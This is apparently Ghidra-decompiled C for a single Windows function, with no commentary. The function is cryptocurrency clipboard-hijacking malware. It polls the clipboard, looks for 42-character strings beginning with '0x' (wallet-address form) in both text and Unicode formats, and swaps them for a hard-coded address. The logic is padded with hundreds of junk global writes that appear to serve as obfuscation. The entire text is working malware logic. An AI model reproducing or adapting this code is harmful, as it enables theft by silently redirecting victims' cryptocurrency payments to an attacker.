// DECOMPILED BY GHIDRA 10.4

/* WARNING: Removing unreachable block (ram,0x00401b3d) */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 FUN_00401175(void)

{
  bool bVar1;
  BOOL BVar2;
  char *_Str;
  size_t sVar3;
  int iVar4;
  HGLOBAL pvVar5;
  LPVOID pvVar6;
  HANDLE pvVar7;
  wchar_t *_Str1;
  uint uVar8;
  
  DAT_00415a3d._3_1_ = 0x82;
  DAT_00415a41 = 6;
  uRam00415a42 = 0xe2e6;
  DAT_00415a00._0_2_ = 0xc0e4;
  DAT_00415a00._2_2_ = 0x7c64;
  DAT_004159d9 = 0x12;
  _DAT_004159da = 0x7a16;
  DAT_004159dc = 0xe8;
  FUN_00401000();
LAB_004011a4:
  do {
    while( true ) {
      _DAT_004159a1 = 0x6278;
      DAT_004159a3 = 0x7c;
      uRam004159a4 = 0xc0;
      DAT_00415a66._0_2_ = 0x4228;
      DAT_00415a66._2_1_ = 0x9e;
      DAT_00415a66._3_1_ = 0x24;
      DAT_0041598d._3_1_ = 0x2a;
      DAT_00415991._0_1_ = 0x92;
      DAT_00415991._1_2_ = 0xae18;
      DAT_00415995._2_2_ = 0x1086;
      uRam00415999 = 0x5a92;
      DAT_00415a1f._2_1_ = 0xbc;
      DAT_00415a1f._3_1_ = 0x16;
      DAT_00415a23 = 0xba;
      DAT_00415a24._0_1_ = 0xe8;
      BVar2 = OpenClipboard((HWND)0x0);
      DAT_00415a5b._0_1_ = 0x9a;
      DAT_00415a5b._1_1_ = 0x6e;
      DAT_00415a5b._2_1_ = 0x76;
      DAT_00415a5b._3_1_ = 0x84;
      DAT_00415a66._2_1_ = 0xa8;
      DAT_00415a66._3_1_ = 0x3c;
      DAT_00415a6a._0_2_ = 0x298;
      if (BVar2 != 0) break;
LAB_00401ae3:
      DAT_00415a23 = 0x70;
      DAT_00415a24._0_1_ = 0xac;
      DAT_004158f4 = DAT_004158f4 + 1;
      DAT_004159c8._2_1_ = 0x1e;
      DAT_004159c8._3_1_ = 0x3e;
      DAT_004159cc._0_1_ = 0xcc;
      DAT_004159cc._1_1_ = 0x9c;
      DAT_00415a3d._1_2_ = 0xdcc4;
      DAT_00415a3d._3_1_ = 0x62;
      DAT_00415a41 = 0x5a;
      DAT_00415a1f._0_1_ = 0xc;
      DAT_00415a1f._1_1_ = 0xd2;
      DAT_00415a1f._2_1_ = 0x60;
      DAT_00415a1f._3_1_ = 0x74;
      Sleep(1000);
      DAT_004159b3._2_1_ = 0xe0;
      DAT_004159b3._3_1_ = 0x5c;
      uRam004159b7 = 0x5652;
    }
    DAT_00415a31._2_1_ = 0x2a;
    DAT_00415a31._3_1_ = 0x36;
    uRam00415a35 = 0xde1a;
    bVar1 = false;
    DAT_004159d1._0_1_ = 0xcc;
    DAT_004159d1._1_1_ = 0xbc;
    DAT_004159d1._2_2_ = 0x101e;
    DAT_004159ba = CONCAT31(0x62c0,(undefined)DAT_004159ba);
    DAT_004159be = 0x8a;
    _Str = (char *)GetClipboardData(1);
    DAT_00415a5b._3_1_ = 0x8a;
    uRam00415a5f = 0x32;
    DAT_00415a60._0_1_ = 0xce;
    DAT_00415a60._1_1_ = 0xee;
    DAT_00415a09._2_1_ = 0xe;
    DAT_00415a09._3_1_ = 0xe8;
    uRam00415a0d = 0xa2;
    DAT_00415a0e = 0x48;
    DAT_00415a4a._0_1_ = 0xa4;
    DAT_00415a4a._1_1_ = 0xe0;
    DAT_00415a4a._2_2_ = 0x6288;
    if (_Str != (char *)0x0) {
      DAT_004159c8._0_1_ = 0x54;
      DAT_004159c8._1_1_ = 4;
      DAT_004159c8._2_1_ = 0x12;
      DAT_004159c8._3_1_ = 0x2e;
      DAT_00415a19._1_2_ = 0xa32;
      DAT_00415a19._3_1_ = 0x92;
      uRam00415a1d = 0x42;
      _DAT_00415a28 = CONCAT13(0xb8,_DAT_00415a28);
      ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0xc0f254);
      DAT_00415a52._3_1_ = 10;
      uRam00415a56 = 0xc0;
      uRam00415a57 = 0xf8;
      DAT_00415a58 = 0xae;
      DAT_004159c4 = 0x40;
      DAT_004159c5 = 0x36;
      DAT_004159c6 = 0x74;
      DAT_004159c7 = 0x46;
      sVar3 = _strlen(_Str);
      DAT_00415a31._0_2_ = 0x5a5a;
      DAT_00415a31._2_1_ = 0x16;
      DAT_00415a31._3_1_ = 0xca;
      DAT_00415a19._1_2_ = 0x8e9e;
      DAT_00415a19._3_1_ = 0x86;
      uRam00415a1d = 0x1c;
      DAT_004159d1._2_2_ = 2;
      DAT_004159d5 = 0x56;
      uRam004159d6 = 0xd8;
      if (sVar3 == 0x2a) {
        _DAT_00415a38 = CONCAT31(0x62be7e,DAT_00415a38);
        DAT_00415a39._3_1_ = 0x44;
        DAT_004159dd._0_1_ = 0x38;
        DAT_004159dd._1_2_ = 0x68ca;
        DAT_004159dd._3_1_ = 0xca;
        DAT_00415a4e._0_1_ = 0x44;
        DAT_00415a4e._1_2_ = 0xead8;
        DAT_00415a4e._3_1_ = 0xe;
        DAT_004159b3._3_1_ = 0xec;
        uRam004159b7 = 0x3a16;
        uRam004159b9 = 0xae;
        DAT_00415a1f._1_1_ = 0xd6;
        DAT_00415a1f._2_1_ = 0x5c;
        DAT_00415a1f._3_1_ = 0xa4;
        DAT_00415a23 = 0x1e;
        DAT_00415a52._1_2_ = 0x22a0;
        DAT_00415a52._3_1_ = 2;
        uRam00415a56 = 0xfa;
        if (*_Str == '0') {
          DAT_00415981._2_1_ = 0xfc;
          DAT_00415981._3_1_ = 0x42;
          DAT_00415985._0_1_ = 0x7e;
          DAT_00415985._1_1_ = 0xf8;
          DAT_004159f7._1_1_ = 0x9a;
          DAT_004159f7._2_1_ = 0xba;
          DAT_004159f7._3_1_ = 0xfc;
          _DAT_004159fb = CONCAT31(DAT_004159fb_1,0xcc);
          DAT_00415a09._0_1_ = 0x22;
          DAT_00415a09._1_1_ = 0x1c;
          DAT_00415a09._2_1_ = 0x8a;
          DAT_00415a09._3_1_ = 0x42;
          DAT_00415a23 = 0x7e;
          DAT_00415a24._0_1_ = 0x5e;
          DAT_00415a24._1_2_ = 0x4c12;
          DAT_0041598d._0_1_ = 0x6e;
          DAT_0041598d._1_1_ = 0x52;
          DAT_0041598d._2_1_ = 0xee;
          DAT_0041598d._3_1_ = 0x80;
          DAT_00415995._2_2_ = 0xac48;
          uRam00415999 = 0x642a;
          DAT_00415a65 = 0xca;
          DAT_00415a66._0_2_ = 0x4a06;
          DAT_00415a66._2_1_ = 0xba;
          if ((byte)(_Str[1] | 0x20U) == 0x78) {
            DAT_00415a30 = 0x12;
            DAT_00415a31._0_2_ = 0x322c;
            DAT_00415a31._2_1_ = 0xac;
            DAT_00415a45._2_1_ = 0x60;
            DAT_00415a45._3_1_ = 0x8e;
            uRam00415a49 = 0x1a;
            DAT_00415a4a._0_1_ = 0xac;
            DAT_00415a04._1_1_ = 0xae;
            DAT_00415a04._2_2_ = 0x2c0a;
            uRam00415a08 = 0x40;
            _DAT_00415a28 = 0x2cc0f858;
            DAT_004159e5._1_2_ = 0x25e;
            DAT_004159e5._3_1_ = 0xe2;
            DAT_004159e9._0_1_ = 0xea;
            DAT_004159e1 = 0x403c1e82;
            iVar4 = _strcmp(_Str,&DAT_004158fc);
            DAT_004159f3._0_2_ = 0xd09a;
            DAT_004159f3._2_1_ = 0xd6;
            DAT_004159f3._3_1_ = 0xbc;
            DAT_00415989._0_1_ = 0xca;
            DAT_00415989._1_1_ = 0x84;
            DAT_00415989._2_1_ = 0x58;
            DAT_00415989._3_1_ = 0x8a;
            DAT_00415a41 = 0xd6;
            uRam00415a42 = 0x48;
            uRam00415a44 = 0xf4;
            if (iVar4 != 0) {
              DAT_004159c7 = 0x4c;
              DAT_004159c8._0_1_ = 0x2a;
              DAT_004159c8._1_1_ = 100;
              DAT_004159c8._2_1_ = 0xac;
              DAT_00415a58 = 100;
              DAT_00415a59 = 0xe4;
              DAT_00415a5a = 0xfe;
              DAT_00415a5b._0_1_ = 0x9e;
              _DAT_0041597e = 0x3088;
              DAT_00415980 = 0x36;
              DAT_00415981._0_1_ = 0x98;
              DAT_004159a6 = 0x50;
              DAT_004159a7._0_1_ = 0x5c;
              DAT_004159a7._1_2_ = 0x3c4a;
              DAT_004159dd._1_2_ = 0xb206;
              DAT_004159dd._3_1_ = 0xe0;
              DAT_004159e1 = 0xbe9cc4de;
              DAT_00415a5b._2_1_ = 0xee;
              DAT_00415a5b._3_1_ = 0xc0;
              uRam00415a5f = 0xf8;
              DAT_004159c0._0_2_ = 0x9056;
              DAT_004159c0._2_1_ = 0x96;
              DAT_004159c0._3_1_ = 0xb2;
              DAT_00415a60._0_1_ = 0x3e;
              DAT_00415a60._1_1_ = 0x72;
              DAT_00415a60._2_2_ = 0xc066;
              DAT_004159d1._0_1_ = 0xe4;
              DAT_004159d1._1_1_ = 0x3e;
              DAT_004159d1._2_2_ = 0x7686;
              DAT_00415a09._1_1_ = 0x2c;
              DAT_00415a09._2_1_ = 0xee;
              DAT_00415a09._3_1_ = 0xbc;
              uRam00415a0d = 0xb8;
              if (((_Str[4] + '\x01') * _Str[4] & 1U) != 0) {
                _DAT_00415a28 = CONCAT13(0x52,_DAT_00415a28);
                ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0x6ae04c);
                goto LAB_004011a4;
              }
              DAT_00415981._0_1_ = 0x14;
              DAT_00415981._1_1_ = 100;
              DAT_00415981._2_1_ = 8;
              DAT_00415981._3_1_ = 0x18;
              DAT_00415a24._0_1_ = 0x4e;
              DAT_00415a24._1_2_ = 0x6a22;
              DAT_00415a24._3_1_ = 0x4c;
              DAT_00415995._2_2_ = 0xa214;
              uRam00415999 = 0xec3a;
              pvVar5 = GlobalAlloc(0x42,0x2b);
              DAT_004159c4 = 0xc0;
              DAT_0041599d._3_1_ = 0xf2;
              _DAT_004159a1 = 0x1ad4;
              DAT_004159a3 = 0xa4;
              DAT_004159c5 = 0x26;
              DAT_004159c6 = 0xd8;
              DAT_004159c7 = 0xea;
              DAT_004159c8._0_1_ = 0xd8;
              DAT_004159b2 = 0xfe;
              DAT_004159b3._0_2_ = 0x54cc;
              DAT_004159b3._2_1_ = 0xae;
              pvVar6 = GlobalLock(pvVar5);
              _DAT_00415a6e = 0xc046;
              uRam00415a70 = 0xd874;
              DAT_00415a19._0_1_ = 0x86;
              DAT_00415a19._1_2_ = 0xc4ca;
              DAT_00415a19._3_1_ = 0xa6;
              DAT_00415a65 = 0x58;
              DAT_00415a66._0_2_ = 0x7808;
              DAT_00415a66._2_1_ = 0x6e;
              DAT_004159b3._0_2_ = 0x4c52;
              DAT_004159b3._2_1_ = 0x80;
              DAT_004159b3._3_1_ = 0x4a;
              DAT_004159c0._3_1_ = 0x84;
              DAT_004159c4 = 0x40;
              DAT_004159c5 = 0x5a;
              DAT_004159c6 = 0x54;
              DAT_00415995._0_1_ = 0xf2;
              DAT_00415995._1_1_ = 0x94;
              DAT_00415995._2_2_ = 0x9eda;
              DAT_004159a7._0_1_ = 0x76;
              DAT_004159a7._1_2_ = 0x5c0e;
              DAT_004159a7._3_1_ = 0x94;
              FID_conflict__memcpy(pvVar6,&DAT_004158fc,0x2a);
              DAT_0041599d._2_1_ = 0xbc;
              DAT_0041599d._3_1_ = 0xb8;
              _DAT_004159a1 = 0x4a1c;
              DAT_004159ba = CONCAT31(0xa80ec,(undefined)DAT_004159ba);
              DAT_004159be = 0xee;
              DAT_00415a59 = 0xe6;
              DAT_00415a5a = 0x10;
              DAT_00415a5b._0_1_ = 0x24;
              DAT_00415a5b._1_1_ = 0x12;
              DAT_004159c8._2_1_ = 0;
              DAT_004159c8._3_1_ = 0x32;
              DAT_004159cc._0_1_ = 0x2a;
              DAT_004159cc._1_1_ = 0x6a;
              GlobalUnlock(pvVar5);
              DAT_004159f7._0_1_ = 0x6a;
              DAT_004159f7._1_1_ = 0xc4;
              DAT_004159f7._2_1_ = 0xf4;
              DAT_004159f7._3_1_ = 0xce;
              _DAT_0041599b = 0xac4c;
              DAT_0041599d._0_2_ = 0xb218;
              DAT_004159c8._3_1_ = 0xda;
              DAT_004159cc._0_1_ = 0x3e;
              DAT_004159cc._1_1_ = 0x82;
              DAT_004159cc._2_1_ = 0x90;
              DAT_0041598d._1_1_ = 0xe2;
              DAT_0041598d._2_1_ = 0x2e;
              DAT_0041598d._3_1_ = 0xca;
              DAT_00415991._0_1_ = 0xce;
              pvVar7 = SetClipboardData(1,pvVar5);
              DAT_0041598d._0_1_ = 0x68;
              DAT_0041598d._1_1_ = 8;
              DAT_0041598d._2_1_ = 0x82;
              DAT_0041598d._3_1_ = 0x62;
              DAT_00415a09._3_1_ = 0xa6;
              uRam00415a0d = 0x6c;
              DAT_00415a0e = 0xdc;
              DAT_00415a0f._0_1_ = 0x84;
              if (pvVar7 != (HANDLE)0x0) {
                DAT_00415a45._2_1_ = 0xe8;
                DAT_00415a45._3_1_ = 0xc4;
                uRam00415a49 = 0xe6;
                DAT_00415a4a._0_1_ = 0xac;
                DAT_004159dd._1_2_ = 0xfec4;
                DAT_004158f8 = DAT_004158f8 + 1;
                DAT_004159b2 = 0xe6;
                DAT_004159b1 = 0x98;
                uRam004159ab = 0x6e;
                DAT_004159a7._3_1_ = 100;
                DAT_004159a7._1_2_ = 0x8042;
                DAT_00415991._0_1_ = 0x86;
                DAT_0041598d._3_1_ = 0x9a;
                DAT_0041598d._2_1_ = 0xda;
                DAT_0041598d._1_1_ = 0xd2;
                DAT_004159b3._0_2_ = 0x64be;
                DAT_004159b3._2_1_ = 0x18;
                DAT_004159b3._3_1_ = 0xa4;
                bVar1 = true;
              }
            }
          }
        }
      }
    }
    DAT_004159a3 = 0xee;
    uRam004159a4 = 2;
    uRam004159a5 = 200;
    DAT_004159a6 = 0x1a;
    _DAT_004159da = 0xd874;
    DAT_004159dc = 0xbc;
    DAT_004159dd._0_1_ = 0x26;
    _Str1 = (wchar_t *)GetClipboardData(0xd);
    DAT_00415a0e = 200;
    DAT_00415a0f._0_1_ = 0xda;
    DAT_00415a0f._1_2_ = 0xae0e;
    _DAT_00415a28 = CONCAT13(0x98,_DAT_00415a28);
    ram0x00415a2c = CONCAT13(DAT_00415a2b_4,0x380082);
    DAT_00415a3d._0_1_ = 2;
    DAT_00415a3d._1_2_ = 0x2464;
    DAT_00415a3d._3_1_ = 0xe6;
    if (_Str1 == (wchar_t *)0x0) {
LAB_004019f6:
      DAT_004159e5._0_1_ = 0x52;
      DAT_004159e5._1_2_ = 0x5248;
      DAT_004159e5._3_1_ = 0x46;
      DAT_00415a0f._0_1_ = 0x74;
      DAT_00415a0f._1_2_ = 0xf8c0;
      DAT_00415a0f._3_1_ = 0xa0;
      if (bVar1) {
        DAT_00415a30 = 8;
        DAT_00415a31._0_2_ = 0xda42;
        DAT_00415a31._2_1_ = 0x1e;
        DAT_004159f3._2_1_ = 0x52;
        DAT_004159f3._3_1_ = 0xfa;
        DAT_004159f7._0_1_ = 0x56;
        DAT_004159f7._1_1_ = 0x5a;
        DAT_004159f7._2_1_ = 10;
        DAT_004159f7._3_1_ = 0xbe;
        _DAT_004159fb = 0x50783032;
        DAT_004159ef = 0x4cd8ee24;
        DAT_00415989._2_1_ = 0x6a;
        DAT_00415989._3_1_ = 6;
        DAT_0041598d._0_1_ = 0x38;
        DAT_0041598d._1_1_ = 0x36;
        DAT_004159e1 = CONCAT31(0xfae808,(undefined)DAT_004159e1);
        DAT_004159e5._0_1_ = 0xdc;
        DAT_00415a6a._0_2_ = 0x14ae;
        DAT_00415a6a._2_2_ = 0xaa44;
        if (((((uint)_Str1 & 0xff) + 1) * ((uint)_Str1 & 0xff) & 1) != 0) {
          DAT_00415985._3_1_ = 0xba;
          DAT_00415989._0_1_ = 0xf8;
          DAT_00415989._1_1_ = 0x94;
          DAT_00415989._2_1_ = 0xe6;
          DAT_004159ef = 0x4cd8ee24;
          _DAT_004159fb = 0x50783032;
          goto LAB_004011a4;
        }
        DAT_00415a0f._1_2_ = 0x64fa;
        DAT_00415a0f._3_1_ = 0xb4;
        uRam00415a13 = 0x48;
        DAT_004159f3._0_2_ = 0x6e48;
        DAT_004159f3._2_1_ = 0x62;
        DAT_004159f3._3_1_ = 0xb6;
        DAT_004159d1._1_1_ = 0x78;
        DAT_004159d1._2_2_ = 0x6cde;
        DAT_004159d5 = 0x6e;
        SetClipboardData(7,(HANDLE)0x0);
        DAT_00415a04._0_1_ = 0x24;
        DAT_00415a04._1_1_ = 0x12;
        DAT_00415a04._2_2_ = 0x50ea;
        DAT_004159ef = 0xfac49e92;
        DAT_004159e1 = 0xbad2106a;
        SetClipboardData(0x10,(HANDLE)0x0);
      }
      DAT_00415a14._0_2_ = 0x5c42;
      DAT_00415a14._2_2_ = 0xb4c2;
      CloseClipboard();
      goto LAB_00401ae3;
    }
    DAT_00415a04._2_2_ = 0xc8be;
    DAT_004159c8._1_1_ = 0x70;
    DAT_004159c8._2_1_ = 0x2e;
    DAT_004159c8._3_1_ = 0x9a;
    DAT_004159cc._0_1_ = 0xce;
    DAT_00415a00._2_2_ = 0x26f6;
    DAT_00415a04._0_1_ = 0x16;
    DAT_00415a04._1_1_ = 10;
    DAT_00415985._3_1_ = 0xf0;
    DAT_00415989._0_1_ = 0x2c;
    DAT_00415989._1_1_ = 0xea;
    DAT_00415989._2_1_ = 0x4c;
    DAT_004159d1._1_1_ = 0x52;
    DAT_004159d1._2_2_ = 0xa4b2;
    DAT_004159d5 = 0xdc;
    uVar8 = FUN_00404a40(_Str1);
    DAT_004159dd._0_1_ = 0xf4;
    DAT_004159dd._1_2_ = 0x46a8;
    DAT_004159dd._3_1_ = 0x80;
    DAT_00415985._1_1_ = 0x88;
    DAT_00415985._2_1_ = 0x4e;
    DAT_00415985._3_1_ = 0xe8;
    DAT_00415989._0_1_ = 0x92;
    DAT_00415a3d._3_1_ = 0xb8;
    DAT_00415a41 = 0xa8;
    uRam00415a42 = 0xc02e;
    if (uVar8 != 0x2a) goto LAB_004019f6;
    DAT_00415a64 = 0xc6;
    DAT_00415a65 = 200;
    DAT_00415a66._0_2_ = 0x983e;
    DAT_00415a19._0_1_ = 0xce;
    DAT_00415a19._1_2_ = 0x1c8c;
    DAT_00415a19._3_1_ = 0x96;
    DAT_00415a60._0_1_ = 0xea;
    DAT_00415a60._1_1_ = 0x82;
    DAT_00415a60._2_2_ = 0x2e94;
    DAT_004159bf = 0xca;
    DAT_004159c0._0_2_ = 0x2ae4;
    DAT_004159c0._2_1_ = 0x54;
    DAT_00415a4e._3_1_ = 0xaa;
    DAT_00415a52._0_1_ = 0x7a;
    DAT_00415a52._1_2_ = 0x6876;
    DAT_004159a7._0_1_ = 0xd0;
    DAT_004159a7._1_2_ = 0x9818;
    DAT_004159a7._3_1_ = 0x20;
    if (*_Str1 != L'0') goto LAB_004019f6;
    DAT_00415a52._0_1_ = 0xbc;
    DAT_00415a52._1_2_ = 0x82a2;
    DAT_00415a52._3_1_ = 0x54;
    DAT_004159e5._3_1_ = 0x9c;
    DAT_004159e9._0_1_ = 0x56;
    DAT_004159e9._1_2_ = 0x2412;
    DAT_00415991._1_2_ = 0xc278;
    DAT_00415991._3_1_ = 0x98;
    DAT_00415995._0_1_ = 0xfc;
    DAT_00415a19._1_2_ = 0xec2;
    DAT_00415995._2_2_ = 0x884;
    uRam00415999 = 0x26c0;
    DAT_00415a19._3_1_ = 0xc4;
    uRam00415a1d = 0xda;
    DAT_00415a1e = 0xea;
    DAT_00415a1f._0_1_ = 0x52;
    if (_Str1[1] != L'x') goto LAB_004019f6;
    DAT_00415a24._0_1_ = 0x9e;
    DAT_00415a24._1_2_ = 0xbe3a;
    DAT_00415a24._3_1_ = 0x58;
    DAT_00415a45._0_2_ = 0x9624;
    DAT_00415a45._2_1_ = 0x84;
    DAT_00415a45._3_1_ = 0x7c;
    DAT_00415a31._0_2_ = 0xd894;
    DAT_00415a31._2_1_ = 0x3c;
    DAT_00415a31._3_1_ = 0x9e;
    DAT_00415a4a._0_1_ = 0xca;
    DAT_00415a4a._1_1_ = 0x70;
    DAT_00415a4a._2_2_ = 0xfeee;
    DAT_004159ef = 0x30c22222;
    DAT_00415991._0_1_ = 0xd4;
    DAT_00415991._1_2_ = 0xdc04;
    DAT_00415991._3_1_ = 0xf4;
    DAT_004159bf = 0x8a;
    DAT_004159c0._0_2_ = 0xac9c;
    DAT_004159c0._2_1_ = 0xe6;
    DAT_00415a0f._0_1_ = 200;
    DAT_00415a0f._1_2_ = 0x4a6c;
    DAT_00415a0f._3_1_ = 0x36;
    DAT_00415a4e._1_2_ = 0xf482;
    DAT_00415a4e._3_1_ = 0x10;
    DAT_00415a52._0_1_ = 0x86;
    _DAT_0041599b = 0xf6ae;
    DAT_0041599d._0_2_ = 0x244a;
    DAT_00415a6a._0_2_ = 0xdaaa;
    DAT_00415a6a._2_2_ = 0x1ad0;
    if ((((_Str1[6] & 0xffU) + 1U) * (_Str1[6] & 0xffU) & 1U) == 0) {
      DAT_00415a45._3_1_ = 0x74;
      uRam00415a49 = 0x26;
      DAT_00415a4a._0_1_ = 0x5c;
      DAT_00415a4a._1_1_ = 0x72;
      DAT_00415985._0_1_ = 0xbe;
      DAT_00415985._1_1_ = 0x78;
      DAT_00415985._2_1_ = 0xa8;
      DAT_00415985._3_1_ = 0x40;
      DAT_0041599d._0_2_ = 0x48d6;
      DAT_0041599d._2_1_ = 0x84;
      DAT_0041599d._3_1_ = 6;
      DAT_00415980 = 0x38;
      DAT_00415981._0_1_ = 0x3a;
      DAT_00415981._1_1_ = 0xa4;
      DAT_00415981._2_1_ = 0x5c;
      DAT_004159b3._0_2_ = 0xd0ae;
      DAT_004159b3._2_1_ = 0xd2;
      DAT_004159b3._3_1_ = 0;
      _DAT_00415a38 = CONCAT31(0xd6d802,DAT_00415a38);
      DAT_00415a39._3_1_ = 0;
      iVar4 = _wcscmp(_Str1,&DAT_00415928);
      DAT_00415a6a._2_2_ = 0x548e;
      _DAT_00415a6e = 0x9ad6;
      DAT_004159ef = CONCAT13(0xa0,(undefined3)DAT_004159ef);
      DAT_004159f3._0_2_ = 0xc4a8;
      DAT_004159f3._2_1_ = 0x1c;
      DAT_004159c0._0_2_ = 0x2c6;
      DAT_004159c0._2_1_ = 0x52;
      DAT_004159c0._3_1_ = 0x20;
      if (iVar4 != 0) {
        DAT_004159d5 = 0xe8;
        uRam004159d6 = 0x4a;
        DAT_004159d1._0_1_ = 0xbc;
        DAT_004159d1._1_1_ = 0x16;
        DAT_004159d1._2_2_ = 0xfe32;
        DAT_00415a0f._3_1_ = 0xfe;
        uRam00415a13 = 0x84;
        DAT_00415a14._0_2_ = 0x4ec8;
        pvVar5 = GlobalAlloc(0x42,0x56);
        DAT_00415a4a._1_1_ = 0x16;
        DAT_00415a4a._2_2_ = 0xa90;
        DAT_00415a4e._0_1_ = 0x38;
        DAT_004159ba = 0xc03e66ae;
        DAT_004159e9._0_1_ = 0x7a;
        DAT_004159e9._1_2_ = 0xc62e;
        DAT_004159e9._3_1_ = 0xa8;
        DAT_00415981._2_1_ = 0x58;
        DAT_00415981._3_1_ = 0x26;
        DAT_00415985._0_1_ = 0xd0;
        DAT_00415985._1_1_ = 100;
        pvVar6 = GlobalLock(pvVar5);
        DAT_004159e9._0_1_ = 0x8c;
        DAT_004159e9._1_2_ = 0x2850;
        DAT_004159e9._3_1_ = 0xec;
        DAT_004159c8._2_1_ = 0xdc;
        DAT_004159c8._3_1_ = 0x34;
        DAT_004159cc._0_1_ = 0x10;
        DAT_004159cc._1_1_ = 0xa2;
        DAT_004159ef = 0xa0fcccf0;
        DAT_00415989._3_1_ = 0xd6;
        DAT_0041598d._0_1_ = 0xd4;
        DAT_0041598d._1_1_ = 0x5c;
        DAT_0041598d._2_1_ = 0x60;
        _DAT_00415a38 = 0xe6b820da;
        DAT_004159dd._0_1_ = 0x1e;
        DAT_004159dd._1_2_ = 0x8c16;
        DAT_004159dd._3_1_ = 0x78;
        DAT_004159c4 = 0xe0;
        DAT_004159c5 = 0x76;
        DAT_004159c6 = 0xdc;
        DAT_004159c7 = 0xb2;
        FID_conflict__memcpy(pvVar6,&DAT_00415928,0x54);
        DAT_004159e9._0_1_ = 0xea;
        DAT_004159e9._1_2_ = 0x84f8;
        DAT_004159e9._3_1_ = 0x6e;
        DAT_004159d5 = 0x96;
        uRam004159d6 = 0x4c;
        uRam004159d7 = 0x247e;
        DAT_00415a1f._2_1_ = 0x18;
        DAT_00415a1f._3_1_ = 0xd2;
        DAT_00415a23 = 0x24;
        DAT_00415a24._0_1_ = 0x16;
        DAT_004159c8._1_1_ = 0xf8;
        DAT_004159c8._2_1_ = 0x1e;
        DAT_004159c8._3_1_ = 0xf0;
        DAT_004159cc._0_1_ = 0xb2;
        GlobalUnlock(pvVar5);
        DAT_004159b3._2_1_ = 0xba;
        DAT_004159b3._3_1_ = 0x6e;
        uRam004159b7 = 0x4c6e;
        DAT_004159c8._3_1_ = 0x4a;
        DAT_004159cc._0_1_ = 0x1a;
        DAT_004159cc._1_1_ = 0xfe;
        DAT_004159cc._2_1_ = 0x26;
        DAT_004159f3._3_1_ = 0x5e;
        DAT_004159f7._0_1_ = 0xba;
        DAT_004159f7._1_1_ = 0xfe;
        DAT_004159f7._2_1_ = 0xf4;
        DAT_004159e5._0_1_ = 0x8e;
        DAT_004159e5._1_2_ = 0xe86a;
        DAT_004159e5._3_1_ = 0xfa;
        pvVar7 = SetClipboardData(0xd,pvVar5);
        DAT_00415985._3_1_ = 0x24;
        DAT_00415989._0_1_ = 0x98;
        DAT_00415989._1_1_ = 0x10;
        DAT_00415989._2_1_ = 0;
        DAT_00415a60._1_1_ = 0xe6;
        DAT_00415a60._2_2_ = 0x6ea6;
        DAT_00415a64 = 100;
        if (pvVar7 != (HANDLE)0x0) {
          DAT_004159be = 0xb8;
          DAT_004159bf = 0x14;
          DAT_004159c0._0_2_ = 0x5a94;
          DAT_00415a66._0_2_ = 0x8ca8;
          DAT_00415a66._2_1_ = 0xd2;
          DAT_00415a66._3_1_ = 0x14;
          if (!bVar1) {
            DAT_004159cc._0_1_ = 0xe2;
            DAT_004159cc._1_1_ = 0x8a;
            DAT_004159cc._2_1_ = 0x9c;
            DAT_004159cc._3_1_ = 0x88;
            DAT_00415a5a = 0x84;
            DAT_00415a5b._0_1_ = 0xb8;
            DAT_00415a5b._1_1_ = 0xde;
            DAT_00415a5b._2_1_ = 0x28;
            DAT_004158f8 = DAT_004158f8 + 1;
            DAT_004159c6 = 0x1e;
            DAT_004159c7 = 0xd8;
            DAT_004159c8._0_1_ = 0x12;
            DAT_004159c8._1_1_ = 0x84;
          }
          DAT_00415a1e = 0x26;
          DAT_00415a1f._0_1_ = 0x5c;
          DAT_00415a1f._1_1_ = 0xf4;
          DAT_00415a1f._2_1_ = 0x1a;
          bVar1 = true;
        }
      }
      goto LAB_004019f6;
    }
    DAT_004159e5._3_1_ = 0x1e;
    DAT_004159e9._0_1_ = 0xfc;
    DAT_004159e9._1_2_ = 0xc618;
  } while( true );
}

